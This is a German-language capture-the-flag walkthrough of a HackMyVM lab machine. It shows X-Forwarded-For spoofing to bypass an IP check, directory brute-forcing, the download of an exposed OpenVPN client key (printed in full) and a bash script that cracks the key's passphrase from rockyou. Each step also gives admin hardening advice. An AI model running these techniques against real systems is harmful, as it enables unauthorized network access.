http://192.168.2.191/service/index.php (nach IP-Spoofing mit X-Forwarded-For: 192.168.2.191) # Last modified by shinosawa # on 2024-12-21 # Example Configuration File client dev tun proto udp remote ? ? resolv-retry infinite nobind persist-key persist-tun ca ? cert ? # Regenerate a STRONG password for the KEY # Do NOT use a SAME password as other services et. SSH # it is DANGEROUS! key ? cipher AES-256-GCM verb 3
Bewertung:
Der IP-Spoofing-Versuch mittels des X-Forwarded-For-Headers war erfolgreich! Anstatt der Fehlermeldung erhalten wir nun den Inhalt einer OpenVPN-Client-Konfigurationsdatei. Dies ist ein kritischer Fund und ein bedeutender Fortschritt.
Die Konfigurationsdatei (vermutlich client.ovpn oder ähnlich) enthält:
- Hinweise auf einen Benutzer
shinosawa(Kommentar "Last modified by shinosawa"). Dies könnte ein gültiger Benutzername sein. - Standard-OpenVPN-Client-Direktiven (
client,dev tun,proto udp, etc.). - Platzhalter für
remote ? ?,ca ?,cert ?,key ?. Dies deutet darauf hin, dass die eigentlichen Zertifikate und der Schlüssel separat gespeichert sind und hier nur eine Vorlage angezeigt wird oder die Werte dynamisch geladen werden. - Eine wichtige Warnung: "# Regenerate a STRONG password for the KEY # Do NOT use a SAME password as other services et. SSH # it is DANGEROUS!". Dies impliziert, dass der private Schlüssel passwortgeschützt ist und das Passwort potenziell für andere Dienste (wie SSH) wiederverwendet wurde – ein häufiger Fehler.
- Die Cipher Suite ist
AES-256-GCM.
Empfehlung (Pentester):
Der nächste Schritt ist, die Verzeichnisse /service/ genauer zu untersuchen, um die tatsächlichen Zertifikatsdateien (CA-Zertifikat, Client-Zertifikat, Client-Schlüssel) zu finden, auf die in dieser Konfigurationsvorlage verwiesen wird. Tools wie dirb oder feroxbuster sollten erneut auf das Verzeichnis /service/ angesetzt werden, speziell auf der Suche nach Dateien mit Endungen wie .crt, .key, .ovpn, .conf, .txt.
Empfehlung (Admin):
Der Zugriff auf die Datei /service/index.php muss korrekt abgesichert werden. Sich allein auf den X-Forwarded-For-Header zu verlassen, ist unsicher. Der Zugriff sollte serverseitig validiert werden (z.B. durch Überprüfung der tatsächlichen Quell-IP-Adresse oder durch Authentifizierung). Sensible Konfigurationsdateien oder Vorlagen sollten niemals direkt über das Web zugänglich sein, schon gar nicht durch Umgehung einfacher IP-Checks. Die Dateiberechtigungen auf dem Server sollten so restriktiv wie möglich sein.
Analyse:
Nach dem erfolgreichen Zugriff auf die OpenVPN-Konfigurationsvorlage durch IP-Spoofing, wird feroxbuster erneut ausgeführt. Diesmal wird der Scan abgebrochen (Caught ctrl+c), aber die bis dahin gefundenen Ergebnisse sind relevant. Es scheint eine Wiederholung des vorherigen feroxbuster-Scans zu sein, aber der Fokus liegt nun auf den Dateien im Kontext des /service/-Verzeichnisses.
200 GET 192l 384w 3041c http://192.168.2.191/style/iphone.css 200 GET 13l 37w 2194c http://192.168.2.191/poweredbymacosxserver.gif 200 GET 75l 215w 2241c http://192.168.2.191/script/serverhome.js 200 GET 5l 27w 226c http://192.168.2.191/style/serverhome_static.css 200 GET 412l 2178w 136171c http://192.168.2.191/script/compressed_libraries.js 200 GET 351l 1040w 98713c http://192.168.2.191/script/compressed_widgets.js 200 GET 130l 376w 5435c http://192.168.2.191/ 200 GET 130l 376w 5435c http://192.168.2.191/index.html 301 GET 9l 28w 314c http://192.168.2.191/service => http://192.168.2.191/service/ 200 GET 1l 10w 59c http://192.168.2.191/service/index.php 301 GET 9l 28w 312c http://192.168.2.191/style => http://192.168.2.191/style/ 301 GET 9l 28w 316c http://192.168.2.191/style/img => http://192.168.2.191/style/img/ 301 GET 9l 28w 313c http://192.168.2.191/script => http://192.168.2.191/script/ 200 GET 33l 97w 6762c http://192.168.2.191/grayx.jpg 200 GET 12l 63w 3616c http://192.168.2.191/osxserver.gif 200 GET 96l 250w 3752c http://192.168.2.191/error.html [#########>----------] - 13m 14044941/30878568 16m found:16 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_2_191_-1747261220.state ... [#########>----------] - 13m 14045146/30878568 16m found:16 errors:0 [#########>----------] - 13m 2842728/6175484 3540/s http://192.168.2.191/ [#########>----------] - 13m 2823408/6175484 3520/s http://192.168.2.191/service/ [#########>----------] - 13m 2803192/6175484 3502/s http://192.168.2.191/style/ [#########>----------] - 13m 2787736/6175484 3486/s http://192.168.2.191/style/img/ [#########>----------] - 13m 2783928/6175484 3495/s http://192.168.2.191/script/
Bewertung:
Obwohl der Scan abgebrochen wurde, bestätigt er die bereits bekannten Pfade, insbesondere http://192.168.2.191/service/index.php. Keine neuen, kritischen Pfade werden in diesem Ausschnitt aufgedeckt, aber die wiederholte Bestätigung unterstreicht die Wichtigkeit des /service/ Verzeichnisses.
Empfehlung (Pentester):
Ein gezielterer Scan auf das Verzeichnis /service/ mit spezifischen Dateiendungen (wie .crt, .key, .pem, .conf, .txt) ist nun dringend erforderlich, um die eigentlichen OpenVPN-Zertifikatsdateien zu finden.
Empfehlung (Admin):
Protokollierung und Überwachung von Webserver-Zugriffen können helfen, Brute-Force-Versuche wie die von feroxbuster zu erkennen. Rate-Limiting oder Tools wie fail2ban können solche automatisierten Angriffe erschweren.
Analyse:
Wir verwenden nun dirb, ein weiteres Werkzeug zum Brute-Forcen von Verzeichnissen und Dateien, um gezielt das Verzeichnis /service/ auf dem Webserver http://192.168.2.191/ zu untersuchen.
Der Befehl dirb http://192.168.2.191/service /usr/share/seclists/Discovery/Web-Content/big.txt -R -X .php,.txt,.jpg,.crt ist wie folgt aufgebaut:
http://192.168.2.191/service/: Die Basis-URL für den Scan./usr/share/seclists/Discovery/Web-Content/big.txt: Die Wortliste, die für das Brute-Forcing verwendet wird.-R: Aktiviert die interaktive Rekursion (obwohl dies in der Ausgabe nicht direkt ersichtlich ist, wie sie genutzt wird). Üblicherweise bedeutet Rekursion, dass gefundene Verzeichnisse ebenfalls gescannt werden.-X .php,.txt,.jpg,.crt: Fügt diese spezifischen Dateiendungen zu den zu suchenden Namen hinzu. Dies ist sehr wichtig, da wir nach OpenVPN-Zertifikatsdateien (.crt) und möglicherweise Konfigurations- oder Informationsdateien (.txt,.php) suchen.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu May 15 00:21:57 2025 URL_BASE: http://192.168.2.191/service/ WORDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/big.txt OPTION: Interactive Recursion EXTENSIONS_LIST: (.php,.txt,.jpg,.crt) | (.php)(.txt)(.jpg)(.crt) [NUM = 4] ----------------- GENERATED WORDS: 20467 ---- Scanning URL: http://192.168.2.191/service/ ---- + http://192.168.2.191/service/ca.crt (CODE:200|SIZE:1200) + http://192.168.2.191/service/client.crt (CODE:200|SIZE:4492) + http://192.168.2.191/service/index.php (CODE:200|SIZE:59) + http://192.168.2.191/service/vpn.txt (CODE:403|SIZE:276) ----------------- END_TIME: Thu May 15 00:22:28 2025 DOWNLOADED: 81868 - FOUND: 4
Bewertung:
Dieser dirb-Scan ist ein Volltreffer! Er deckt genau die Dateien auf, die wir für die OpenVPN-Verbindung benötigen:
ca.crt(CODE:200): Das Zertifikat der Zertifizierungsstelle (Certificate Authority). Dies wird benötigt, um die Authentizität des VPN-Servers zu überprüfen.client.crt(CODE:200): Das öffentliche Zertifikat des Clients.index.php(CODE:200): Die bereits bekannte OpenVPN-Konfigurationsvorlage.vpn.txt(CODE:403): Eine Textdatei namensvpn.txtwurde gefunden, aber der Zugriff darauf ist verboten (Statuscode 403 - Forbidden). Dies könnte interessante Informationen enthalten, aber wir können sie derzeit nicht abrufen. Es ist möglich, dass die IP-Spoofing-Technik auch hier angewendet werden muss oder andere Zugriffsbeschränkungen greifen.
client.key).
Empfehlung (Pentester):
Die Dateien ca.crt und client.crt müssen sofort heruntergeladen werden. Anschließend muss versucht werden, auch den privaten Schlüssel (wahrscheinlich client.key) im Verzeichnis /service/ zu finden. Ein weiterer dirb-Scan oder ein manueller Versuch mit curl auf http://192.168.2.191/service/client.key (unter Verwendung des IP-Spoofing-Tricks, falls nötig) ist der nächste logische Schritt. Der Inhalt von vpn.txt bleibt ein interessantes Ziel, falls der Zugriff später ermöglicht werden kann.
Empfehlung (Admin):
Niemals sollten Zertifikatsdateien, insbesondere private Schlüssel, öffentlich über einen Webserver zugänglich sein. Dies ist eine gravierende Sicherheitslücke. Solche Dateien müssen außerhalb des Web-Roots gespeichert und mit strengen Dateiberechtigungen versehen werden. Der 403-Fehler für vpn.txt ist zwar besser als ein direkter Zugriff, aber die Existenz der Datei ist bereits bekannt. Sensible Informationen sollten nicht einmal als Dateinamen im Web-Root auftauchen.
Analyse:
Basierend auf den Ergebnissen des vorherigen dirb-Scans laden wir nun die gefundenen Zertifikatsdateien ca.crt und client.crt herunter. Wir verwenden curl mit der Option -o [Dateiname], um die heruntergeladene Datei direkt unter dem angegebenen Namen zu speichern, und -s für den stillen Modus (keine Fortschrittsanzeige).
Anschließend wird mit ll *.crt der Inhalt des aktuellen Verzeichnisses aufgelistet, gefiltert nach Dateien, die auf .crt enden, um zu überprüfen, ob die Dateien erfolgreich heruntergeladen wurden und welche Größe sie haben.
Danach wird versucht, eine Datei namens .htaccess aus dem Verzeichnis /service/ herunterzuladen und deren Inhalt anzuzeigen. .htaccess-Dateien werden vom Apache-Webserver verwendet, um Konfigurationseinstellungen auf Verzeichnisebene zu definieren, einschließlich Zugriffskontrollen.
-rw-r--r-- 1 root root 1200 15. Mai 00:23 ca.crt -rw-r--r-- 1 root root 4492 15. Mai 00:23 client.crt
-rw-r--r-- 1 root root 274 15. Mai 00:25 htaccess.txt
403 Forbidden
<p>You don't have permission to access this resource.</p>
<hr>
Apache/2.4.62 (Unix) Server at homelab.hmv Port 80
Bewertung:
Die Zertifikate ca.crt (1200 Bytes) und client.crt (4492 Bytes) wurden erfolgreich heruntergeladen. Dies sind wichtige Komponenten für die OpenVPN-Verbindung.
Der Versuch, .htaccess herunterzuladen, war ebenfalls "erfolgreich" in dem Sinne, dass eine Datei heruntergeladen wurde. Allerdings enthält htaccess.txt nicht den Inhalt einer .htaccess-Datei, sondern die HTML-Fehlerseite für einen "403 Forbidden"-Fehler. Das bedeutet, dass der direkte Zugriff auf .htaccess-Dateien vom Server blockiert wird, was eine übliche und gute Sicherheitspraxis ist. Es ist unwahrscheinlich, dass wir hier auf diesem Weg an den Inhalt der .htaccess-Datei gelangen, falls eine existiert und aktiv ist. Der dirb-Scan hat sie auch nicht direkt mit Status 200 gefunden.
Empfehlung (Pentester):
Der Fokus liegt weiterhin darauf, den privaten Schlüssel client.key zu finden und herunterzuladen. Da der Zugriff auf .htaccess gesperrt ist, ist dies kein direkter Angriffsvektor mehr. Die IP-Spoofing-Technik könnte auch für den Zugriff auf client.key notwendig sein.
Empfehlung (Admin):
Das Blockieren des direkten Zugriffs auf .htaccess-Dateien ist korrekt konfiguriert. Es sollte sichergestellt werden, dass auch andere sensible Konfigurationsdateien (wie .htpasswd, etc.) nicht direkt über das Web zugänglich sind. Die heruntergeladenen Zertifikate (CA und Client-Zertifikat) sind öffentlich, aber der private Schlüssel darf unter keinen Umständen öffentlich zugänglich sein.
Analyse:
Wir versuchen nun, die entscheidende Datei, den privaten Schlüssel des Clients (client.key), aus dem Verzeichnis /service/ herunterzuladen. Da wir bereits erfolgreich Zertifikate von dort beziehen konnten, ist die Wahrscheinlichkeit hoch, dass auch der Schlüssel dort liegt.
Der Befehl curl -o client.key http://homelab.hmv/service/client.key -s wird verwendet, um die Datei herunterzuladen und als client.key zu speichern.
Anschließend wird der Inhalt der heruntergeladenen Datei mit cat client.key angezeigt.
-----BEGIN ENCRYPTED PRIVATE KEY----- MIIFJDBWBgkqhkiG9w0BBQ0wSTAxBgkqhkiG9w0BBQwwJAQQcjQTElcIKFeDw72A xT/14gICCAAwDAYIKoZIhvcNAgkFADAUBggqhkiG9w0DBwQIVNMjRXSbGKgEggTI o2XhzDmt4VwIs9a2+TlCU8B9wfv4CKyoX6kqbmbEjwnUtIjV6ouTAdp423q8aEMP 9vIPo/QUvnAAcxflWs0JAg9cDN9Mix1TygNaqtiOnfodE/powg2+HJH58byf3C2/ L9i/Eyhy4PUFBocAQEMcL+OOlhV6N/K+YI26UpM3cb1W/bZa/D1kitPTc3aNaEcm cik0vozX4LaCAkWUkrfQTDmWy30nvSGlByAOrdKTdc73ZKYjhfJ0aBAvnr3l9YJ1 6P5GZ4plb0rsATaxKJX2qlza9CeAVtEBYxJXtLsv82ydLhdV9QIfL971GRwT7ufJ O04GlQnnD1+RXsgX/HX8TlqtWB+cNHPXU5goKoV98vMU9LhOLkgBt+F8VBXngXSa x/6vVA2JTq14GAuVptRRvk3NWspXbWPcEfeIRjagP1+d2eIZB6Jf3KNqFzlEZJBg 9sVFw8K4Kl1y46A767/6zAgR1yWxZUIu4DqqxrD/J+jefqEzHEpWs/hKkqDFOiY+ rtTiaG1DwVMw+EUCOOkWlzgC+J+z4ne26NxlRrDEIg85X5UfDnbDzQcvTOq8QZHF QH0OMFtKVT3EnKyChVSKDSjSBoMV6DjWB1BGI9SIaca5yKjtYJm9ZKgc319XnuDH LCHIQfERyaTypf87MAahh0P43ZUn4FJoH7DVa4R4lluyJnwr3fXcPdN+lmVAlH/b fLsGy3NNjBjNqUgkr923SOoTQXtz8HN1TSM/P11w6udvjOcHtBTV+eRczkBStvPV W0OqZMPGDaEg+HGsdQt3moGxRwgP7HEHp7IRR1mvHHjtg4UgflDtfa5BfxEOlWyF p/aV4JTVWsBhV6jEEhtY2+5vvhRammSvW6+HWqpicEE0Kekm5lf9hh3jNvXPbeuP gV000gW7ZfHRmIbfGn1/RQtizqxBDrzjPsXIvrnsR5kdqWuDYdI3681QErb7txoX +7urFS1MErtwmMIxsjkKgZyxzn71CHrSRwxlPSJMOe4LWprVk92By533yuccJXNx Lk63VtvH/H+EPeFisTnX2rN7Y4Yz/k+wbJH7cyS5PMu0I49scZPqWnZwEd+6SyKq 3AkTXtytghizriWnxlq4dzaAUjDGCnR9vqy8cNgpJRwQTczorCqRf+3vf8oji0b+ IeyTNyJeS+S8YEoFSxCHVdSy1YS7EnXWAF7fV49Rpwz8kzdi+dGVXyF9oxp+XAM5 827TdKT0NueVxakHRqm6Px23xQHvfPn2lYbzX1C1piLRFAXOk+5l7VflLoCl5QnN UjzWysu0morMJ8d4nrhaCzcUQc55lJJoX5VU3tRrAjQ1yDhmKKQ0Ga3iGiA3CGop BNj4qIST98Z/fcVT79ZP0kykcD91KNOQsJz7Zc6gJvat2EbCZksj584981bySrgA vWJ/0ikaF2+PrVHrKMi6cn75Eiz2fO2xovr8q8sh0n3iegHvAmXRhU2zb2DEjTWk X+UgNh/LzoYJEkFE+atB7QnPy5TB+HQF/UW22ZAygXkzVdk8Wl36hlsDNtz+wvOd uLEkpu2zKwKZ8dMPodNQy8z1ax+NwtVRK2ttrmhbTdmlmk24lrlz3Wp9u0AwB4WD Q0fWBgB3vyBO+VTniw+CHZ+JRsXAYTue -----END ENCRYPTED PRIVATE KEY-----
Bewertung:
Fantastisch! Der private Schlüssel client.key wurde erfolgreich heruntergeladen. Die Ausgabe zeigt einen PEM-formatierten privaten Schlüssel, der mit -----BEGIN ENCRYPTED PRIVATE KEY----- beginnt. Dies bestätigt, dass der Schlüssel verschlüsselt ist, wie bereits in der OpenVPN-Konfigurationsvorlage angedeutet wurde ("Regenerate a STRONG password for the KEY").
Wir haben jetzt alle drei notwendigen Komponenten für eine OpenVPN-Verbindung:
ca.crt(CA-Zertifikat)client.crt(Client-Zertifikat)client.key(verschlüsselter privater Schlüssel des Clients)
client.key zu knacken.
Empfehlung (Pentester):
Die Passphrase des verschlüsselten privaten Schlüssels client.key muss nun mit Tools wie openssl (um das Format zu prüfen und den Entschlüsselungsversuch zu starten) und Passwort-Crackern wie John the Ripper (oft über pem2john zum Extrahieren des Hashes) oder einem benutzerdefinierten Brute-Force-Skript angegangen werden. Die Warnung in der .ovpn-Datei bezüglich der Wiederverwendung von Passwörtern legt nahe, dass das Passwort möglicherweise nicht extrem komplex ist oder mit dem Benutzernamen "shinosawa" in Verbindung steht.
Empfehlung (Admin):
Wie bereits mehrfach betont: Private Schlüssel dürfen niemals über einen Webserver zugänglich sein. Dies ist eine kritische Sicherheitslücke. Wenn Schlüssel passwortgeschützt sind, müssen die Passphrasen stark und einzigartig sein und dürfen nicht leicht zu erraten oder mit anderen Diensten identisch sein. Die Richtlinien zur Passwortkomplexität und -einzigartigkeit müssen durchgesetzt werden.
Analyse:
Wir versuchen nun, Informationen über den heruntergeladenen, verschlüsselten privaten Schlüssel client.key mit openssl zu erhalten und ihn zu entschlüsseln.
Der Befehl openssl pkey -in client.key -text -noout wird verwendet:
pkey: Einopenssl-Befehl zur Verwaltung von öffentlichen und privaten Schlüsseln.-in client.key: Gibt die Eingabedatei an.-text: Versucht, den Schlüsselinhalt in Textform auszugeben.-noout: Unterdrückt die Ausgabe des verschlüsselten Schlüssels selbst.
openssl wird nach einer Passphrase fragen, um den Schlüssel zu entschlüsseln. Wir geben hier testweise keine Passphrase ein (leere Eingabe), um das Verhalten zu beobachten.
Anschließend wird versucht, den Hash des Schlüssels für das Passwort-Cracking-Tool John the Ripper zu extrahieren.
pem2john client.key > client.key.john_hash: Das Skriptpem2john(Teil von John the Ripper) konvertiert den PEM-formatierten Schlüssel in ein Hash-Format, das John versteht, und speichert es inclient.key.john_hash.john --wordlist=/usr/share/wordlists/rockyou.txt client.key.john_hash: Startet John the Ripper mit der bekannten Wortlisterockyou.txt, um zu versuchen, die Passphrase für den extrahierten Hash zu finden.
Enter pass phrase for client.key:
Enter pass phrase for client.key: Could not find private key of key from client.key 409787CF1E7F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:../providers/implementations/ciphers/ciphercommon_block.c:107: 409787CF1E7F0000:error:11800074:PKCS12 routines:PKCS12_pbe_crypt_ex:pkcs12 cipherfinal error:../crypto/pkcs12/p12_decr.c:92:empty password
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
Bewertung:
Der Versuch, den Schlüssel mit openssl und einer leeren Passphrase zu entschlüsseln, schlägt erwartungsgemäß fehl ("bad decrypt", "pkcs12 cipherfinal error:empty password"). Dies bestätigt, dass der Schlüssel tatsächlich passwortgeschützt ist.
Der Versuch, den Hash mit pem2john zu extrahieren und dann mit john zu knacken, schlägt ebenfalls fehl ("No password hashes loaded"). Dies kann verschiedene Gründe haben:
- Der Schlüssel verwendet möglicherweise ein Verschlüsselungsformat oder einen Algorithmus, den die verwendete Version von
pem2johnoderjohnnicht standardmäßig unterstützt oder für den keine passenden Hash-Typen geladen sind. - Es könnte ein Problem mit der
pem2john-Konvertierung selbst geben. - Manchmal benötigen bestimmte Schlüsselformate spezielle Optionen für
john.
john den Hash nicht laden kann, ist ein direkter Angriff mit rockyou.txt über diesen Weg nicht erfolgreich. Wir müssen eine alternative Methode zum Brute-Forcen der Passphrase finden, wahrscheinlich durch direktes Ausprobieren mit openssl.
Empfehlung (Pentester):
Da john den Hash nicht verarbeiten kann, sollte ein benutzerdefiniertes Skript erstellt werden, das systematisch Passwörter aus einer Wortliste (wie rockyou.txt) nimmt und versucht, den client.key mit openssl pkey -in client.key -passin pass:<passwort> zu entschlüsseln. Der Erfolg kann durch Überprüfung des Rückgabecodes von openssl festgestellt werden.
Man könnte auch andere Tools oder Formate für john recherchieren, falls der Schlüssel ein ungewöhnliches Format hat.
Empfehlung (Admin):
Die Verwendung starker, einzigartiger Passphrasen für verschlüsselte private Schlüssel ist entscheidend. Wenn Standard-Passwort-Cracking-Tools Probleme haben, den Hash zu verarbeiten, kann dies die Zeit bis zur Kompromittierung verlängern, aber es ist kein vollständiger Schutz, wenn die Passphrase selbst schwach ist. Die Überwachung fehlgeschlagener Entschlüsselungsversuche ist in der Regel nicht möglich, da dies clientseitig geschieht. Der Schutz liegt in der Stärke der Passphrase und der Sicherheit des Schlüsselspeichers.
Analyse:
Da der vorherige Versuch, die OpenVPN-Konfigurationsdatei /service/index.php direkt aufzurufen, fehlschlug und wir die IP-Spoofing-Technik mit dem X-Forwarded-For-Header benötigten, wird hier nun der curl-Befehl gezeigt, der diesen Header verwendet, um den Inhalt abzurufen.
Der Befehl curl http://192.168.2.191/service/ -H 'X-Forwarded-For:192.168.2.191' -s ist wie folgt aufgebaut:
http://192.168.2.191/service/: Die Ziel-URL. Beachten Sie den abschließenden Schrägstrich, der das Verzeichnisserviceanstelle einer spezifischen Datei anspricht. Webserver liefern oft eine Standarddatei (wieindex.phpoderindex.html) aus, wenn ein Verzeichnis angefordert wird.-H 'X-Forwarded-For:192.168.2.191': Fügt den HTTP-HeaderX-Forwarded-Formit dem Wert der Server-IP selbst hinzu. Dies ist der IP-Spoofing-Trick.-s: Stiller Modus, unterdrückt die Fortschrittsanzeige voncurl.
# Last modified by shinosawa # on 2024-12-21 # Example Configuration File client dev tun proto udp remote ? ? resolv-retry infinite nobind persist-key persist-tun ca ? cert ? # Regenerate a STRONG password for the KEY # Do NOT use a SAME password as other services et. SSH # it is DANGEROUS! key ? cipher AES-256-GCM verb 3
Bewertung:
Dieser Schritt bestätigt erneut, dass der Zugriff auf die /service/index.php (die Standarddatei im Verzeichnis /service/) nur durch Spoofing der IP-Adresse über den X-Forwarded-For-Header möglich ist. Die angezeigte Konfigurationsdatei ist identisch mit der zuvor gesehenen und liefert keine neuen direkten Informationen, dient aber als Erinnerung an den Mechanismus.
Empfehlung (Pentester):
Diese Technik (Verwendung von X-Forwarded-For) sollte im Hinterkopf behalten werden, falls andere Ressourcen auf dem Server ebenfalls zugriffsbeschränkt sind. Der Fokus bleibt auf dem Knacken der Passphrase für den client.key.
Empfehlung (Admin):
Die Sicherheitslücke bezüglich der unsachgemäßen Validierung des X-Forwarded-For-Headers wurde bereits adressiert. Es muss sichergestellt werden, dass alle Zugriffskontrollen robust sind und sich nicht auf leicht manipulierbare Client-seitige Informationen verlassen.
Analyse:
Da die OpenVPN-Konfiguration proto udp spezifiziert, führen wir einen UDP-Portscan mit nmap durch, um festzustellen, ob der OpenVPN-Dienst auf dem Standard-UDP-Port 1194 oder anderen gängigen UDP-Ports lauscht.
Der Befehl sudo nmap -sU --top-ports 20 -sV 192.168.2.191 -Pn ist wie folgt aufgebaut:
sudo: UDP-Scans erfordern oft Root-Rechte, um Raw Sockets erstellen zu können.-sU: Führt einen UDP-Scan durch.--top-ports 20: Scannt nur die 20 häufigsten UDP-Ports, um Zeit zu sparen. Ein vollständiger UDP-Scan aller 65535 Ports kann sehr lange dauern.-sV: Versucht, die Version der auf den offenen Ports laufenden Dienste zu ermitteln.-Pn: Überspringt die Host-Discovery, da wir wissen, dass der Host online ist.
nmap -sU -p 1194 192.168.2.191.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-15 00:47 CEST Nmap scan report for homelab.hmv (192.168.2.191) Host is up (0.00023s latency). PORT STATE SERVICE VERSION 53/udp open|filtered domain 67/udp closed dhcps 68/udp closed dhcpc 69/udp open|filtered tftp 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp open|filtered netbios-dgm 139/udp closed netbios-ssn 161/udp closed snmp 162/udp closed snmptrap 445/udp closed microsoft-ds 500/udp open|filtered isakmp 514/udp open|filtered syslog 520/udp closed route 631/udp closed ipp 1434/udp open|filtered ms-sql-m 1900/udp open|filtered upnp 4500/udp open|filtered nat-t-ike 49152/udp closed unknown MAC Address: 08:00:27:58:13:E0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 76.47 seconds
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-15 00:52 CEST Nmap scan report for homelab.hmv (192.168.2.191) Host is up (0.00022s latency). PORT STATE SERVICE 1194/udp open openvpn MAC Address: 08:00:27:58:13:E0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
Bewertung:
Der erste Scan der Top 20 UDP-Ports zeigt mehrere Ports im Zustand open|filtered. Dieser Zustand bedeutet, dass nmap keine Antwort vom Port erhalten hat, was darauf hindeuten kann, dass der Port entweder offen ist und keine Antwort sendet, oder dass eine Firewall die Pakete stillschweigend verwirft. Ohne Versionsinformationen ist es schwer, hier definitive Aussagen zu treffen. Ports wie 53 (DNS), 69 (TFTP), 138 (NetBIOS-DGM), 500 (ISAKMP), 514 (Syslog), 1434 (MS-SQL-M) und 1900 (UPnP) sind in diesem Zustand.
Der zweite, gezielte Scan auf UDP-Port 1194 ist jedoch eindeutig:
1194/udp open openvpn: Der Port ist offen undnmapidentifiziert den Dienst korrekt alsopenvpn.
192.168.2.191 lauscht.
Empfehlung (Pentester):
Nachdem wir nun den OpenVPN-Server auf Port 1194/udp bestätigt haben und im Besitz der Zertifikate (ca.crt, client.crt) und des verschlüsselten privaten Schlüssels (client.key) sind, ist der nächste Schritt, die Passphrase für client.key zu knacken. Sobald die Passphrase bekannt ist, kann eine OpenVPN-Konfigurationsdatei (.ovpn) erstellt und eine Verbindung zum VPN-Server aufgebaut werden.
Empfehlung (Admin):
Die Anzahl der offenen UDP-Ports, insbesondere derjenigen im Zustand open|filtered, sollte überprüft werden. Nicht benötigte UDP-Dienste sollten deaktiviert oder durch Firewalls blockiert werden, um die Angriffsfläche zu minimieren. Wenn OpenVPN verwendet wird, sollte der Zugriff darauf auf bekannte und autorisierte Clients beschränkt werden, idealerweise durch IP-Whitelisting oder andere Mechanismen auf der Firewall, zusätzlich zur zertifikatsbasierten Authentifizierung.
Analyse:
Der Eintrag "view-source:http://192.168.2.191/service/index.php" deutet darauf hin, dass der Quellcode der Seite erneut im Browser betrachtet wurde, wahrscheinlich nach der erfolgreichen Umgehung der Zugriffsbeschränkung mittels IP-Spoofing. Die angezeigte Ausgabe ist identisch mit der zuvor über curl abgerufenen OpenVPN-Konfigurationsvorlage.
view-source:http://192.168.2.191/service/index.php # Last modified by shinosawa # on 2024-12-21 # Example Configuration File client dev tun proto udp remote ? ? resolv-retry infinite nobind persist-key persist-tun ca ? cert ? # Regenerate a STRONG password for the KEY # Do NOT use a SAME password as other services et. SSH # it is DANGEROUS! key ? cipher AES-256-GCM verb 3
Bewertung:
Dieser Abschnitt wiederholt die Anzeige der OpenVPN-Konfigurationsvorlage. Es werden keine neuen Informationen gewonnen, aber es wird die Konsistenz der Ergebnisse über verschiedene Abrufmethoden (curl, Browser-Quelltextansicht) gezeigt, nachdem die Zugriffsbeschränkung umgangen wurde.
Empfehlung (Pentester):
Keine neuen Empfehlungen basierend auf dieser wiederholten Information. Der Fokus bleibt auf der Beschaffung der Passphrase für den client.key.
Empfehlung (Admin):
Keine neuen Empfehlungen basierend auf dieser wiederholten Information. Die bereits genannten Maßnahmen zur Absicherung des Zugriffs und der Konfigurationsdateien bleiben bestehen.
Analyse:
Da der Versuch, den Hash des client.key mit pem2john zu extrahieren und mit John the Ripper zu knacken, fehlschlug, wird hier ein Bash-Skript namens brute.sh vorgestellt. Dieses Skript dient dazu, die Passphrase des verschlüsselten privaten Schlüssels client.key durch einen Brute-Force-Angriff mit einer Wortliste direkt über openssl zu ermitteln.
Das Skript funktioniert wie folgt:
- Es definiert die Dateinamen für den verschlüsselten Schlüssel (
KEY_FILE="client.key"), den zu erstellenden entschlüsselten Schlüssel (DECRYPTED_KEY_FILE="client.decrypted.key") und die Wortliste (WORDLIST_FILE="/usr/share/wordlists/rockyou.txt"). - Es prüft, ob die Wortliste existiert.
- Es iteriert in einer Schleife über jedes Passwort in der Wortliste.
- Für jedes Passwort versucht es, den
KEY_FILEmitopenssl pkey -in "$KEY_FILE" -passin stdin -out "$DECRYPTED_KEY_FILE"zu entschlüsseln. Das Passwort wird überstdinanopensslübergeben. Die Standardausgabe und Fehlerausgabe werden nach/dev/nullumgeleitet, um die Konsole sauber zu halten. - Wenn
opensslerfolgreich ist (Rückgabecode 0), wird "SUCCESS!" zusammen mit dem gefundenen Passwort ausgegeben, und das Skript beendet sich. - Wenn die Schleife endet, ohne ein Passwort gefunden zu haben, wird eine entsprechende Meldung ausgegeben.
./brute.sh /usr/share/wordlists/rockyou.txt ausgeführt.
#!/bin/bash
KEY_FILE="client.key"
DECRYPTED_KEY_FILE="client.decrypted.key"
WORDLIST_FILE="/usr/share/wordlists/rockyou.txt"
if [ -z "$WORDLIST_FILE" ] || [ ! -f "$WORDLIST_FILE" ]; then
echo "Usage: $0 <wordlist_file>"
exit 1
fi
echo "Starting Brute-Force for '$KEY_FILE' with '$WORDLIST_FILE'..."
while IFS= read -r password || [[ -n "$password" ]]; do
if echo "$password" | openssl pkey -in "$KEY_FILE" -passin stdin -out "$DECRYPTED_KEY_FILE" >/dev/null 2>&1; then
echo "SUCCESS! Password: $password -> Decrypted key: $DECRYPTED_KEY_FILE"
exit 0
fi
done < "$WORDLIST_FILE"
echo "No password found in the list."
rm -f "$DECRYPTED_KEY_FILE"
exit 1
Starting Brute-Force for 'client.key' with '/usr/share/wordlists/rockyou.txt'...
SUCCESS! Password: hiro -> Decrypted key: client.decrypted.key
Bewertung:
Das Brute-Force-Skript ist erfolgreich! Es findet die Passphrase für den client.key: hiro.
Der entschlüsselte private Schlüssel wird in der Datei client.decrypted.key gespeichert.
